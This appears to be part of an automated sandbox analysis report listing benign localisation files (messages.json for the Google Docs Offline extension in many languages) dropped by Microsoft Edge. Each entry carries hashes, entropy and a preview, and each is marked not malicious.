Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
